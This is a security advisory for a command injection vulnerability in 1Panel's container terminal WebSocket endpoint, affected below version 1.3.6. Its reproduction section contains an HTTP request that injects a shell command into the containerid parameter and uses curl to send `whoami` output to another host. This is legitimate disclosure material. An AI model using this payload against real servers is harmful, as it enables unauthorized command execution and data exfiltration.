GHSA-7x2c-fgx6-xf9h 1Panel vulnerable to command injection when entering the container terminal

• Go github.com/1Panel-dev/1Panel: < 1.3.6 → fixed in 1.3.6

Impact The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal. 1. Vulnerability analysis. ``` backend\app\api\v1\terminal.go#ContainerWsSsh ``` 2. vulnerability reproduction. ``` GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1 Host: 192.168.109.152:40982 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://192.168.109.152:40982 Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ== Connection: keep-alive, Upgrade Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e Pragma: no-cache Cache-Control: no-cache Upgrade: websocket ``` 3. The successful execution of system commands. Affected versions: <= 1.3.5 Patches The vulnerability has been fixed in v1.3.6. Workarounds It is recommended to upgrade the version to v1.3.6. References If you have any questions or comments about this advisory: Open an issue in https://github.com/1Panel-dev/1Panel Email us at [email protected]